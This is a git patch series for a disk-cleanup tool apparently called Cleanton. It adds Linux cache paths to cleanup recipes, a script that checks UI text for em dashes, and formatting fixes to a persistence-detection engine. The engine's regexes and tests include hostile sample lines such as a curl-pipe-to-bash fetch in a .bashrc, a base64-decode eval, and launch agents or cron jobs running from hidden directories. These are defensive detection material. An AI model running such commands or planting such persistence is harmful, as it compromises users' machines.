+path_glob = "**/node_modules/.cache/storybook/**" +parent_must_contain = ["package.json"] + +[action] +type = "trash" +prompt = "Move {size} of Node bundler caches to Trash?" + +[test] +should_match = [ + "projects/app/node_modules/.cache/babel-loader/abc.json", + "projects/app/node_modules/.cache/swc/abc", + "projects/app/node_modules/.cache/nx/abc", + "projects/app/node_modules/.cache/storybook/abc", +] +should_not_match = [ + "projects/app/node_modules/.cache/other/abc", + "projects/app/.cache/babel-loader/abc", + "loose/node_modules/.cache/babel-loader/abc", +] diff --git a/recipes/node-cypress-cache.toml b/recipes/node-cypress-cache.toml index 0e85808..d702187 100644 --- a/recipes/node-cypress-cache.toml +++ b/recipes/node-cypress-cache.toml @@ -11,10 +11,22 @@ priority = 50 path_glob = "~/Library/Caches/Cypress/**" min_age_days = 30 +# Linux (XDG): Cypress' binary cache. +[[match.any_of]] +min_age_days = 30 +path_glob = "~/.cache/Cypress/**" + [action] type = "trash" prompt = "Move {size} of Cypress binaries to Trash?" [test] -should_match = ["~/Library/Caches/Cypress/13.10.0/Cypress.app-payload"] -should_not_match = ["~/Library/Caches/Yarn", "~/Library/Application Support/Cypress/cy/production/projects"] +should_match = [ + "~/Library/Caches/Cypress/13.10.0/Cypress.app-payload", + "~/.cache/Cypress/12.0.0/Cypress/Cypress", +] +should_not_match = [ + "~/Library/Caches/Yarn", + "~/Library/Application Support/Cypress/cy/production/projects", + "~/.cache/other/foo", +] diff --git a/recipes/node-deno-cache.toml b/recipes/node-deno-cache.toml index 3025bfe..767a86f 100644 --- a/recipes/node-deno-cache.toml +++ b/recipes/node-deno-cache.toml @@ -11,10 +11,20 @@ priority = 50 [match] path_glob = "~/Library/Caches/deno/**" +# Linux (XDG): DENO_DIR defaults to ~/.cache/deno. +[[match.any_of]] +path_glob = "~/.cache/deno/**" + [action] type = "trash" prompt = "Move {size} of Deno cache to Trash?" [test] -should_match = ["~/Library/Caches/deno/deps/http/foo"] -should_not_match = ["~/Library/Caches/Homebrew"] +should_match = [ + "~/Library/Caches/deno/deps/http/foo", + "~/.cache/deno/deps/https/example.com/foo", +] +should_not_match = [ + "~/Library/Caches/Homebrew", + "~/.cache/other/foo", +] diff --git a/recipes/node-electron-caches.toml b/recipes/node-electron-caches.toml index e871c83..13b2dec 100644 --- a/recipes/node-electron-caches.toml +++ b/recipes/node-electron-caches.toml @@ -11,10 +11,28 @@ priority = 50 path_glob = "~/Library/Caches/electron*/**" min_age_days = 30 +# Linux (XDG): Electron's downloaded release archives. +[[match.any_of]] +min_age_days = 30 +path_glob = "~/.cache/electron/**" + +# Linux (XDG): electron-builder's fpm/nsis caches. +[[match.any_of]] +min_age_days = 30 +path_glob = "~/.cache/electron-builder/**" + [action] type = "trash" prompt = "Move {size} of Electron build caches to Trash?" [test] -should_match = ["~/Library/Caches/electron/electron-v31.0.0-darwin-arm64.zip", "~/Library/Caches/electron-builder/nsis/nsis-3.0.4.1.7z"] -should_not_match = ["~/Library/Caches/Yarn"] +should_match = [ + "~/Library/Caches/electron/electron-v31.0.0-darwin-arm64.zip", + "~/Library/Caches/electron-builder/nsis/nsis-3.0.4.1.7z", + "~/.cache/electron/abc.zip", + "~/.cache/electron-builder/fpm/fpm", +] +should_not_match = [ + "~/Library/Caches/Yarn", + "~/.cache/other/foo", +] diff --git a/recipes/node-gyp-cache.toml b/recipes/node-gyp-cache.toml index 436927e..0b1a37e 100644 --- a/recipes/node-gyp-cache.toml +++ b/recipes/node-gyp-cache.toml @@ -11,10 +11,21 @@ priority = 50 path_glob = "~/Library/Caches/node-gyp/**" min_age_days = 30 +# Linux (XDG): node-gyp's downloaded headers. +[[match.any_of]] +min_age_days = 30 +path_glob = "~/.cache/node-gyp/**" + [action] type = "trash" prompt = "Move {size} of node-gyp cache to Trash?" [test] -should_match = ["~/Library/Caches/node-gyp/22.5.0/include/node/node_api.h"] -should_not_match = ["~/Library/Caches/Yarn"] +should_match = [ + "~/Library/Caches/node-gyp/22.5.0/include/node/node_api.h", + "~/.cache/node-gyp/18.0.0/include/node/node.h", +] +should_not_match = [ + "~/Library/Caches/Yarn", + "~/.cache/other/foo", +] diff --git a/recipes/node-playwright-browsers.toml b/recipes/node-playwright-browsers.toml index 1c0ff58..656586c 100644 --- a/recipes/node-playwright-browsers.toml +++ b/recipes/node-playwright-browsers.toml @@ -12,10 +12,22 @@ path_glob = "~/Library/Caches/ms-playwright/**" min_age_days = 30 min_size_mb = 50 +# Linux (XDG): PLAYWRIGHT_BROWSERS_PATH default. +[[match.any_of]] +min_age_days = 30 +min_size_mb = 50 +path_glob = "~/.cache/ms-playwright/**" + [action] type = "trash" prompt = "Move {size} of Playwright browsers to Trash?" [test] -should_match = ["~/Library/Caches/ms-playwright/chromium-1155/chrome-mac/Chromium.app-payload"] -should_not_match = ["~/Library/Caches/Yarn"] +should_match = [ + "~/Library/Caches/ms-playwright/chromium-1155/chrome-mac/Chromium.app-payload", + "~/.cache/ms-playwright/chromium-1234/chrome-linux/chrome", +] +should_not_match = [ + "~/Library/Caches/Yarn", + "~/.cache/other/foo", +] diff --git a/recipes/node-yarn-classic-cache.toml b/recipes/node-yarn-classic-cache.toml index d461b9c..25e97b0 100644 --- a/recipes/node-yarn-classic-cache.toml +++ b/recipes/node-yarn-classic-cache.toml @@ -11,10 +11,21 @@ priority = 50 path_glob = "~/Library/Caches/Yarn/**" min_age_days = 30 +# Linux (XDG): Yarn 1's cache directory. +[[match.any_of]] +min_age_days = 30 +path_glob = "~/.cache/yarn/**" + [action] type = "trash" prompt = "Move {size} of Yarn classic cache to Trash?" [test] -should_match = ["~/Library/Caches/Yarn/v6/npm-foo"] -should_not_match = ["~/Library/Caches/Homebrew"] +should_match = [ + "~/Library/Caches/Yarn/v6/npm-foo", + "~/.cache/yarn/v6/npm-lodash-4.17.21-abc/node_modules/lodash/index.js", +] +should_not_match = [ + "~/Library/Caches/Homebrew", + "~/.cache/other/foo", +] diff --git a/recipes/ocaml-dune-cache.toml b/recipes/ocaml-dune-cache.toml new file mode 100644 index 0000000..f9e049f --- /dev/null +++ b/recipes/ocaml-dune-cache.toml @@ -0,0 +1,31 @@ +[recipe] +id = "ocaml-dune-cache" +name = "Dune Cache" +# Dune's XDG cache holds the shared artefacts of previous builds. +description = "Dune's shared build cache (regenerated on the next build)" +category = "system" +safety_level = "safe" +enabled = true +priority = 50 + +[match] +path_glob = "~/.cache/dune/**" +min_age_days = 30 + +# macOS: Dune's cache directory. +[[match.any_of]] +path_glob = "~/Library/Caches/dune/**" +min_age_days = 30 + +[action] +type = "trash" +prompt = "Move {size} of Dune cache to Trash?" + +[test] +should_match = [ + "~/.cache/dune/db/files/v4/abc", + "~/Library/Caches/dune/db/files/v4/abc", +] +should_not_match = [ + "~/.cache/other/foo", +] diff --git a/recipes/php-composer-cache.toml b/recipes/php-composer-cache.toml index 96c0679..d76ee80 100644 --- a/recipes/php-composer-cache.toml +++ b/recipes/php-composer-cache.toml @@ -16,10 +16,22 @@ priority = 50 path_glob = "~/Library/Caches/composer/**" min_age_days = 30 +# Linux (XDG): Composer's cache lives in ~/.cache/composer. +[[match.any_of]] +min_age_days = 30 +path_glob = "~/.cache/composer/**" + [action] type = "trash" prompt = "Move {size} of Composer cache to Trash?" [test] -should_match = ["~/Library/Caches/composer/files/vendor/package/1.0.0.zip"] -should_not_match = ["~/.composer/composer.json", "~/.composer/auth.json"] +should_match = [ + "~/Library/Caches/composer/files/vendor/package/1.0.0.zip", + "~/.cache/composer/files/foo", +] +should_not_match = [ + "~/.composer/composer.json", + "~/.composer/auth.json", + "~/.cache/other/foo", +] diff --git a/recipes/python-pip-cache.toml b/recipes/python-pip-cache.toml index 9c33547..dc8e5c2 100644 --- a/recipes/python-pip-cache.toml +++ b/recipes/python-pip-cache.toml @@ -12,10 +12,21 @@ priority = 50 path_glob = "~/Library/Caches/pip/**" min_age_days = 30 +# Linux (XDG): pip's cache lives in ~/.cache/pip. +[[match.any_of]] +min_age_days = 30 +path_glob = "~/.cache/pip/**" + [action] type = "trash" prompt = "Move {size} of pip wheel/http cache to Trash?" [test] -should_match = ["~/Library/Caches/pip/wheels/foo"] -should_not_match = ["~/Library/Caches/Homebrew"] +should_match = [ + "~/Library/Caches/pip/wheels/foo", + "~/.cache/pip/wheels/foo", +] +should_not_match = [ + "~/Library/Caches/Homebrew", + "~/.cache/other/foo", +] diff --git a/recipes/python-poetry-cache.toml b/recipes/python-poetry-cache.toml index c7ed1e0..2c7cb59 100644 --- a/recipes/python-poetry-cache.toml +++ b/recipes/python-poetry-cache.toml @@ -18,10 +18,22 @@ min_size_mb = 50 [match.exclude] paths = ["~/Library/Caches/pypoetry/virtualenvs", "~/Library/Caches/pypoetry/virtualenvs/**"] +# Linux (XDG): Poetry's cache lives in ~/.cache/pypoetry. +[[match.any_of]] +min_size_mb = 50 +path_glob = "~/.cache/pypoetry/**" + [action] type = "trash" prompt = "Move {size} of Poetry cache to Trash?" [test] -should_match = ["~/Library/Caches/pypoetry/artifacts/foo"] -should_not_match = ["~/Library/Caches/Homebrew", "~/Library/Caches/pypoetry/virtualenvs/api-abc123-py3.12/bin/python"] +should_match = [ + "~/Library/Caches/pypoetry/artifacts/foo", + "~/.cache/pypoetry/artifacts/foo", +] +should_not_match = [ + "~/Library/Caches/Homebrew", + "~/Library/Caches/pypoetry/virtualenvs/api-abc123-py3.12/bin/python", + "~/.cache/other/foo", +] diff --git a/recipes/swift-tuist-cache.toml b/recipes/swift-tuist-cache.toml index d5a0474..cac159e 100644 --- a/recipes/swift-tuist-cache.toml +++ b/recipes/swift-tuist-cache.toml @@ -11,10 +11,21 @@ priority = 50 path_glob = "~/Library/Caches/tuist/**" min_age_days = 30 +# Linux (XDG): Tuist's cache directory. +[[match.any_of]] +min_age_days = 30 +path_glob = "~/.cache/tuist/**" + [action] type = "trash" prompt = "Move {size} of Tuist cache to Trash?" [test] -should_match = ["~/Library/Caches/tuist/BinaryCache/MyFramework.xcframework-payload"] -should_not_match = ["~/Library/Caches/Yarn"] +should_match = [ + "~/Library/Caches/tuist/BinaryCache/MyFramework.xcframework-payload", + "~/.cache/tuist/PROJECT/foo", +] +should_not_match = [ + "~/Library/Caches/Yarn", + "~/.cache/other/foo", +] diff --git a/recipes/system-package-manager-caches.toml b/recipes/system-package-manager-caches.toml new file mode 100644 index 0000000..12cc5ad --- /dev/null +++ b/recipes/system-package-manager-caches.toml @@ -0,0 +1,39 @@ +[recipe] +id = "system-package-manager-caches" +name = "System Package Manager Caches" +# The Linux equivalents of the Homebrew download cache: archives the package +# manager already unpacked and re-fetches on demand. /var/cache/apt is +# deliberately not matched, because only root may clear it. +description = "apt, snap and flatpak download caches" +category = "system" +safety_level = "safe" +enabled = true +priority = 50 + +[match] +path_glob = "~/.cache/snapcraft/**" +min_age_days = 30 + +# flatpak: leftover system-helper download cache. +[[match.any_of]] +path_glob = "~/.cache/flatpak/**" +min_age_days = 30 + +# PackageKit: cached download metadata. +[[match.any_of]] +path_glob = "~/.cache/packagekit/**" +min_age_days = 30 + +[action] +type = "trash" +prompt = "Move {size} of system package manager caches to Trash?" + +[test] +should_match = [ + "~/.cache/snapcraft/download/foo.snap", + "~/.cache/flatpak/system-cache/foo", + "~/.cache/packagekit/metadata/foo", +] +should_not_match = [ + "~/.cache/other/foo", +] diff --git a/recipes/system-security-scanner-caches.toml b/recipes/system-security-scanner-caches.toml new file mode 100644 index 0000000..57ef1ce --- /dev/null +++ b/recipes/system-security-scanner-caches.toml @@ -0,0 +1,51 @@ +[recipe] +id = "system-security-scanner-caches" +name = "Security Scanner Caches" +# These are the local copies of the vulnerability feeds. They are hundreds of +# megabytes and every scanner re-downloads them, so they are the cheapest +# thing on a security workstation to reclaim. +description = "Trivy, Grype and Snyk vulnerability databases (re-downloaded on the next scan)" +category = "system" +safety_level = "safe" +enabled = true +priority = 50 + +[match] +path_glob = "~/.cache/trivy/**" +min_age_days = 14 + +# macOS: Trivy's cache directory. +[[match.any_of]] +path_glob = "~/Library/Caches/trivy/**" +min_age_days = 14 + +# Grype: the Anchore vulnerability database. +[[match.any_of]] +path_glob = "~/.cache/grype/**" +min_age_days = 14 + +# macOS: Grype's cache directory. +[[match.any_of]] +path_glob = "~/Library/Caches/grype/**" +min_age_days = 14 + +# Snyk: the CLI's cached dependency graphs. +[[match.any_of]] +path_glob = "~/.cache/snyk/**" +min_age_days = 14 + +[action] +type = "trash" +prompt = "Move {size} of security scanner caches to Trash?" + +[test] +should_match = [ + "~/.cache/trivy/db/trivy.db", + "~/.cache/grype/db/5/vulnerability.db", + "~/.cache/snyk/foo", + "~/Library/Caches/trivy/db/trivy.db", +] +should_not_match = [ + "~/.cache/other/foo", + "~/Library/Caches/other/foo", +] diff --git a/recipes/system-thumbnail-cache.toml b/recipes/system-thumbnail-cache.toml new file mode 100644 index 0000000..d100665 --- /dev/null +++ b/recipes/system-thumbnail-cache.toml @@ -0,0 +1,33 @@ +[recipe] +id = "system-thumbnail-cache" +name = "Thumbnail Caches" +# Both are derived image stores the desktop regenerates whenever a folder is +# opened again, so removing them never touches the originals. +description = "OS-generated thumbnail and icon caches (regenerated on demand)" +category = "system" +safety_level = "safe" +enabled = true +priority = 50 + +[match] +path_glob = "~/.cache/thumbnails/**" +min_age_days = 14 + +# macOS: IconServices' shared thumbnail store. +[[match.any_of]] +path_glob = "~/Library/Caches/com.apple.iconservices/**" +min_age_days = 14 + +[action] +type = "trash" +prompt = "Move {size} of thumbnail caches to Trash?" + +[test] +should_match = [ + "~/.cache/thumbnails/large/abc.png", + "~/Library/Caches/com.apple.iconservices/store/abc", +] +should_not_match = [ + "~/.cache/thumbnails.disabled/abc.png", + "~/.cache/other/abc", +] diff --git a/recipes/vm-lima-cache.toml b/recipes/vm-lima-cache.toml index edba882..ce7140a 100644 --- a/recipes/vm-lima-cache.toml +++ b/recipes/vm-lima-cache.toml @@ -14,10 +14,24 @@ path_glob = "~/Library/Caches/lima/**" min_age_days = 30 min_size_mb = 100 +# Linux (XDG): Lima's download cache. +[[match.any_of]] +min_age_days = 30 +min_size_mb = 100 +path_glob = "~/.cache/lima/**" + [action] type = "trash" prompt = "Move {size} of Lima image cache to Trash?" [test] -should_match = ["~/Library/Caches/lima/download/by-url-sha256/abc123/data"] -should_not_match = ["~/.lima/default/lima.yaml", "~/.colima/default/colima.yaml", "~/.lima/default/diffdisk"] +should_match = [ + "~/Library/Caches/lima/download/by-url-sha256/abc123/data", + "~/.cache/lima/download/foo", +] +should_not_match = [ + "~/.lima/default/lima.yaml", + "~/.colima/default/colima.yaml", + "~/.lima/default/diffdisk", + "~/.cache/other/foo", +] diff --git a/scripts/check-ui-copy.py b/scripts/check-ui-copy.py new file mode 100755 index 0000000..90d83ad --- /dev/null +++ b/scripts/check-ui-copy.py @@ -0,0 +1,168 @@ +#!/usr/bin/env python3 +"""Reject em/en dashes in user-visible Cleanton copy. + +The distribution repo bans em dashes in docs; the same rule applies to anything +the user can actually read on screen: Slint markup (where a dash inside a +`text:` property is rendered verbatim) and Rust string literals (finding titles, +descriptions, status lines and CLI output all come from these). + +Comments are *not* user-visible, so they are skipped: this scanner walks the +Rust source with a small state machine that ignores line comments, block +comments and doc comments, and only inspects what is left inside string +literals (including raw strings). Slint has no string-literal syntax outside of +property values, so every `.slint` file is scanned whole. + +Exit code 0 = clean, 1 = dashes found in user-visible copy. +""" + +from __future__ import annotations + +import re +import sys +from pathlib import Path + +REPO = Path(__file__).resolve().parent.parent + +# Only U+2014 EM DASH is banned. U+2013 EN DASH stays legal because it appears +# inside detection regexes (campaign marker strings that really do contain one), +# where rewriting the literal would silently break the pattern. +DASHES = ("\u2014",) + +SCAN_DIRS = ("crates",) +SLINT_SUFFIXES = (".slint",) +RUST_SUFFIXES = (".rs",) + +# `b'x'`, `'x'`, `'\n'`, `'\u{2014}'`. Anything else starting with a quote is a +# lifetime (`&'a str`), which must NOT swallow the text up to the next quote. +CHAR_LITERAL = re.compile( + r"""b?'(?:[^'\\\n]|\\[^'\n]|\\u\{[0-9a-fA-F]+\})'""", +) +# `r"..."`, `r#"..."#`, `br"..."`, `br#"..."#`. +RAW_STRING = re.compile(r"""b?r(#*)(")""") + + +def rust_string_literals(source: str) -> list[tuple[int, str]]: + """Return `(line_number, literal_body)` for every string literal in `source`. + + A deliberately small scanner: enough Rust lexical structure to skip + comments, lifetimes and character literals, which is all this check needs. + """ + out: list[tuple[int, str]] = [] + i = 0 + n = len(source) + line = 1 + while i < n: + ch = source[i] + if ch == "\n": + line += 1 + i += 1 + continue + # Line comment. + if source.startswith("//", i): + while i < n and source[i] != "\n": + i += 1 + continue + # Block comment (Rust nests these). + if source.startswith("/*", i): + depth = 1 + i += 2 + while i < n and depth: + if source[i] == "\n": + line += 1 + if source.startswith("/*", i): + depth += 1 + i += 2 + continue + if source.startswith("*/", i): + depth -= 1 + i += 2 + continue + i += 1 + continue + # Character literal (skip it); a lifetime falls through to `i += 1`. + if ch in "br'" and CHAR_LITERAL.match(source, i): + i = CHAR_LITERAL.match(source, i).end() + continue + # Raw string with zero or more hashes. + raw = RAW_STRING.match(source, i) + if raw: + start_line = line + terminator = '"' + raw.group(1) + body_at = raw.end() + end = source.find(terminator, body_at) + if end < 0: + end = n + body = source[body_at:end] + line += body.count("\n") + out.append((start_line, body)) + i = end + len(terminator) + continue + if ch == '"': + start_line = line + i += 1 + buf: list[str] = [] + while i < n and source[i] != '"': + # A backslash always escapes exactly what follows it, so consume + # both bytes together; that also keeps the closing quote of an + # escaped `\"` from ending the literal early. + if source[i] == "\\": + buf.append(source[i]) + i += 1 + if i < n: + buf.append(source[i]) + i += 1 + continue + if source[i] == "\n": + line += 1 + buf.append(source[i]) + i += 1 + i += 1 + out.append((start_line, "".join(buf))) + continue + i += 1 + return out + + +def main() -> int: + problems: list[str] = [] + + for scan_dir in SCAN_DIRS: + for path in sorted((REPO / scan_dir).rglob("*")): + if not path.is_file() or ".git" in path.parts: + continue + try: + source = path.read_text(encoding="utf-8") + except (UnicodeDecodeError, OSError): + continue + + if path.suffix in SLINT_SUFFIXES: + for number, text in enumerate(source.splitlines(), start=1): + if any(dash in text for dash in DASHES): + problems.append( + f"{path.relative_to(REPO)}:{number}: em dash in Slint copy: " + f"{text.strip()}" + ) + continue + + if path.suffix in RUST_SUFFIXES and "/tests/" not in path.as_posix(): + for number, literal in rust_string_literals(source): + if any(dash in literal for dash in DASHES): + shown = literal if len(literal) <= 96 else literal[:93] + "..." + problems.append( + f"{path.relative_to(REPO)}:{number}: em dash in a string literal: " + f"{shown}" + ) + + if problems: + print(f"== user-visible copy: {len(problems)} em/en dash problem(s) ==") + for problem in problems: + print(f" error: {problem}") + print("Replace em dashes with a comma, colon, hyphen or separate sentence.") + return 1 + + print("User-visible copy OK (no em or en dashes).") + return 0 + + +if __name__ == "__main__": + sys.exit(main()) From 3f8b06f28e1259e69bcedf433a8abcba6b2c44a3 Mon Sep 17 00:00:00 2001 From: ibnbd <2509519+ibnbd@users.noreply.github.com> Date: Sun, 25 Oct 2026 17:15:01 +0000 Subject: [PATCH 2/9] Fix two parse errors and apply rustfmt rustfmt (run as a parser check) found two things CI would have rejected: - persistence.rs: the download/decode-exec regexes used `r"..."` delimiters but their character classes contain a bare `"`, which terminated the raw string early. They are `r#"..."#` now. - security.rs: `PERSISTENCE_REMEDY` put the line-continuation backslash after `=` instead of inside the string literal. Then `cargo fmt` over every touched file. Co-authored-by: arena-agent <297053741+arena-agent@users.noreply.github.com> --- .../src/engines/persistence.rs | 114 ++++++++++-------- crates/cleanton-app/src/main.rs | 12 +- crates/cleanton-engine/src/background.rs | 5 +- crates/cleanton-engine/src/security.rs | 3 +- crates/cleanton-ui/src/screens/security.rs | 5 +- 5 files changed, 82 insertions(+), 57 deletions(-) diff --git a/crates/cleanton-antivirus/src/engines/persistence.rs b/crates/cleanton-antivirus/src/engines/persistence.rs index 0cbaad9..86cb9ec 100644 --- a/crates/cleanton-antivirus/src/engines/persistence.rs +++ b/crates/cleanton-antivirus/src/engines/persistence.rs @@ -48,8 +48,8 @@ use std::sync::OnceLock; use regex::Regex; -use crate::engine::{DetectionEngine, FileUnit, ScanContext}; use crate::engine::scan_window; +use crate::engine::{DetectionEngine, FileUnit, ScanContext}; use crate::types::{Confidence, FileLocation, Finding, Severity, ThreatCategory}; /// Engine name stamped into every finding and reported in [`EngineStat`]. @@ -73,10 +73,7 @@ struct RuleBudget { impl RuleBudget { /// Record an emission; `false` once this rule has hit the cap for the file. fn allow(&mut self, rule: &'static str) -> bool { - let slot = self - .counts - .iter_mut() - .find(|(name, _)| *name == rule); + let slot = self.counts.iter_mut().find(|(name, _)| *name == rule); match slot { Some((_, count)) if *count >= MAX_FINDINGS_PER_RULE => false, Some((_, count)) => { @@ -141,22 +138,22 @@ impl Patterns { .expect("invariant: plist RunAtLoad regex"), download_exec: Regex::new( - r"(?ix) + r#"(?ix) (?: \b(?:curl|wget)\b[^|\n]{0,200}\|\s*(?:sudo\s+)?(?:[\w/.-]*/)?(?:ba|da|z|fi|k)?sh\b | \b(?:ba|z|fi|k)?sh\b\s*<\(\s*(?:curl|wget)\b | \bpython[23]?\b\s*<\(\s*(?:curl|wget)\b | \b(?:curl|wget)\b[^|\n]{0,200}\|\s*(?:sudo\s+)?\bpython[23]?\b - )", + )"#, ) .expect("invariant: download-exec regex"), decode_exec: Regex::new( - r"(?ix) + r#"(?ix) (?: \bb(?:ase)?(?:32|64)\b\s*(?:-d|--decode|-D)\b[^|\n]{0,120}\|\s*(?:[\w/.-]*/)?(?:ba|z|fi|k)?sh\b | \beval\s+[\"']?\$\(\s*(?:echo|printf)\b[^)]{0,200}\|\s*(?:[\w/.-]*/)?b(?:ase)?(?:32|64)\b\s*(?:-d|--decode|-D)\b | \bxxd\s+-r\s+-p\b[^|\n]{0,120}\|\s*(?:[\w/.-]*/)?(?:ba|z|fi|k)?sh\b | \beval\s+[\"']?\$\(\s*(?:echo|printf)\b[^\n]{0,200}\\x[0-9a-f]{2} - )", + )"#, ) .expect("invariant: decode-exec regex"), @@ -323,27 +320,33 @@ fn is_suspicious_exec_path(path: &str) -> bool { .split('/') .enumerate() .skip(3) - .filter(|(_, component)| { - !component.is_empty() && *component != "." && *component != ".." - }) - .any(|(_, component)| { - component.starts_with('.') && !BENIGN_DOT_DIRS.contains(&component) - }) + .filter(|(_, component)| !component.is_empty() && *component != "." && *component != "..") + .any(|(_, component)| component.starts_with('.') && !BENIGN_DOT_DIRS.contains(&component)) } /// The first whitespace-delimited token of `line` that looks like a path. fn first_path_token(line: &str) -> Option<&str> { line.split_whitespace() .map(|token| token.trim_matches(|c| c == '"' || c == '\'')) - .find(|token| { - token.starts_with('/') || token.starts_with("./") || token.starts_with("~/") - }) + .find(|token| token.starts_with('/') || token.starts_with("./") || token.starts_with("~/")) } /// Interpreters that can run a script handed to them inline with `-c` / `-e`. const INLINE_INTERPRETERS: &[&str] = &[ - "sh", "bash", "zsh", "dash", "fish", "ksh", "python", "python2", "python3", "perl", "ruby", - "node", "osascript", "php", + "sh", + "bash", + "zsh", + "dash", + "fish", + "ksh", + "python", + "python2", + "python3", + "perl", + "ruby", + "node", + "osascript", + "php", ]; /// `true` when `executable` is an interpreter invoked with an inline script @@ -399,10 +402,18 @@ impl DetectionEngine for PersistenceEngine { let mut budget = RuleBudget::default(); match kind { - TargetKind::LaunchAgent => scan_launch_agent(file, &text, patterns, &mut budget, &mut findings), - TargetKind::ShellStartup => scan_shell_startup(file, &text, patterns, &mut budget, &mut findings), - TargetKind::Crontab => scan_crontab(file, &text, patterns, &mut budget, &mut findings), - TargetKind::SystemdUnit => scan_systemd_unit(file, &text, patterns, &mut budget, &mut findings), + TargetKind::LaunchAgent => { + scan_launch_agent(file, &text, patterns, &mut budget, &mut findings) + } + TargetKind::ShellStartup => { + scan_shell_startup(file, &text, patterns, &mut budget, &mut findings) + } + TargetKind::Crontab => { + scan_crontab(file, &text, patterns, &mut budget, &mut findings) + } + TargetKind::SystemdUnit => { + scan_systemd_unit(file, &text, patterns, &mut budget, &mut findings) + } } } @@ -698,7 +709,10 @@ fn scan_crontab( if command.is_empty() { continue; } - let reboot = trimmed.trim_start().to_ascii_lowercase().starts_with("@reboot"); + let reboot = trimmed + .trim_start() + .to_ascii_lowercase() + .starts_with("@reboot"); if patterns.download_exec.is_match(command) && budget.allow("PERSIST_CRON_DOWNLOAD_EXEC") { findings.push(finding( @@ -895,8 +909,9 @@ mod tests { "#; let findings = scan("Library/LaunchAgents/com.apple.updater.helper.plist", plist); assert!( - findings.iter().any(|f| f.rule_id.as_deref() - == Some("PERSIST_LAUNCHD_TEMP_EXEC_RUNATLOAD")), + findings + .iter() + .any(|f| f.rule_id.as_deref() == Some("PERSIST_LAUNCHD_TEMP_EXEC_RUNATLOAD")), "a RunAtLoad agent running out of /tmp/.hidden must be critical: {findings:?}" ); } @@ -915,20 +930,17 @@ mod tests { "#; let findings = scan("Library/LaunchAgents/com.example.sync.plist", plist); assert!( - findings - .iter() - .any(|f| f.rule_id.as_deref() == Some("PERSIST_LAUNCHD_DOWNLOAD_EXEC") - && f.severity == Severity::Critical), + findings.iter().any( + |f| f.rule_id.as_deref() == Some("PERSIST_LAUNCHD_DOWNLOAD_EXEC") + && f.severity == Severity::Critical + ), "a curl|sh launch agent must be critical: {findings:?}" ); } #[test] fn zshrc_with_base64_eval_is_flagged() { - let findings = scan( - ".zshrc", - &shell_rc("eval \"$(echo aG9zdA== | base64 -d)\""), - ); + let findings = scan(".zshrc", &shell_rc("eval \"$(echo aG9zdA== | base64 -d)\"")); assert!( findings .iter() @@ -944,9 +956,10 @@ mod tests { &shell_rc("curl -fsSL https://pastebin.com/raw/abc | bash"), ); assert!( - findings.iter().any(|f| f.rule_id.as_deref() - == Some("PERSIST_SHELLRC_DOWNLOAD_EXEC") - && f.severity == Severity::Critical), + findings.iter().any( + |f| f.rule_id.as_deref() == Some("PERSIST_SHELLRC_DOWNLOAD_EXEC") + && f.severity == Severity::Critical + ), "curl|bash in .bashrc must be critical: {findings:?}" ); } @@ -958,8 +971,9 @@ mod tests { &shell_rc("launchctl load ~/Library/LaunchAgents/com.foo.agent.plist"), ); assert!( - findings.iter().any(|f| f.rule_id.as_deref() - == Some("PERSIST_SHELLRC_LAUNCHCTL_LOAD")), + findings + .iter() + .any(|f| f.rule_id.as_deref() == Some("PERSIST_SHELLRC_LAUNCHCTL_LOAD")), "launchctl load in a shell rc must be flagged: {findings:?}" ); } @@ -980,10 +994,7 @@ mod tests { #[test] fn frequent_cron_entry_from_hidden_dir_is_flagged() { - let findings = scan( - "crontab", - "*/5 * * * * /home/u/.cache/.svc/beacon --once\n", - ); + let findings = scan("crontab", "*/5 * * * * /home/u/.cache/.svc/beacon --once\n"); assert!( findings .iter() @@ -1066,7 +1077,10 @@ mod tests { let files = vec![ unit("package.json", "{\"name\":\"x\"}"), unit("src/index.js", "curl('https://x')"), - unit("Library/Preferences/com.foo.plist", "Program/tmp/.x/b"), + unit( + "Library/Preferences/com.foo.plist", + "Program/tmp/.x/b", + ), ]; let config = crate::config::ScanConfig::default(); let ctx = ScanContext { @@ -1111,8 +1125,14 @@ mod tests { #[test] fn classification_is_path_driven() { - assert_eq!(classify("Library/LaunchAgents/a.plist"), Some(TargetKind::LaunchAgent)); - assert_eq!(classify("Library/LaunchDaemons/a.plist"), Some(TargetKind::LaunchAgent)); + assert_eq!( + classify("Library/LaunchAgents/a.plist"), + Some(TargetKind::LaunchAgent) + ); + assert_eq!( + classify("Library/LaunchDaemons/a.plist"), + Some(TargetKind::LaunchAgent) + ); assert_eq!(classify("Library/LaunchAgents/a.txt"), None); assert_eq!(classify(".zshrc"), Some(TargetKind::ShellStartup)); assert_eq!(classify("/home/u/.bashrc"), Some(TargetKind::ShellStartup)); diff --git a/crates/cleanton-app/src/main.rs b/crates/cleanton-app/src/main.rs index 2969ef2..62183a3 100644 --- a/crates/cleanton-app/src/main.rs +++ b/crates/cleanton-app/src/main.rs @@ -29,8 +29,8 @@ use cleanton_common::{ }; use cleanton_engine::{ AnalyzedFull, AnalyzedPlan, AnnotatedAction, DockerAnalysis, DockerCleaner, DockerCleanupPlan, - DuplicateSet, EngineEvent, InstalledApp, LargeItem, Orchestrator, SnapshotAnalysis, - SecurityRemoval, SnapshotConfirmState, Suggestions, UninstallPlan, cask_token_for, + DuplicateSet, EngineEvent, InstalledApp, LargeItem, Orchestrator, SecurityRemoval, + SnapshotAnalysis, SnapshotConfirmState, Suggestions, UninstallPlan, cask_token_for, delete_local_snapshots, find_leftovers, format_snapshot_date, list_installed_apps, }; use cleanton_packages::{Inventory, ManagerKind, PackageManagers, plan_removal, scan_usage}; @@ -3993,7 +3993,13 @@ fn run_security_removal(ui: &AppWindow, index: i32, config: &SharedConfig) { cell.borrow() .as_ref() .and_then(|report| report.flagged.get(slot)) - .map(|package| (package.name.clone(), package.path.clone(), package.removal())) + .map(|package| { + ( + package.name.clone(), + package.path.clone(), + package.removal(), + ) + }) }); // Defence in depth: a row Cleanton must not remove (a host persistence // file) has no Remove button, so reaching here means the index came from diff --git a/crates/cleanton-engine/src/background.rs b/crates/cleanton-engine/src/background.rs index fd0c682..8a8a2e5 100644 --- a/crates/cleanton-engine/src/background.rs +++ b/crates/cleanton-engine/src/background.rs @@ -461,7 +461,10 @@ fn disk_advice(used_percent: u8, capacity: &VolumeCapacity, home: &Path) -> Stri .iter() .map(|(name, size)| format!("{name} ({})", human_bytes(*size))) .collect(); - advice.push_str(&format!(" Biggest reclaimable right now: {}.", named.join(", "))); + advice.push_str(&format!( + " Biggest reclaimable right now: {}.", + named.join(", ") + )); advice.push_str( " Run a Cleanton scan to review them, then empty the Trash to actually reclaim the space.", 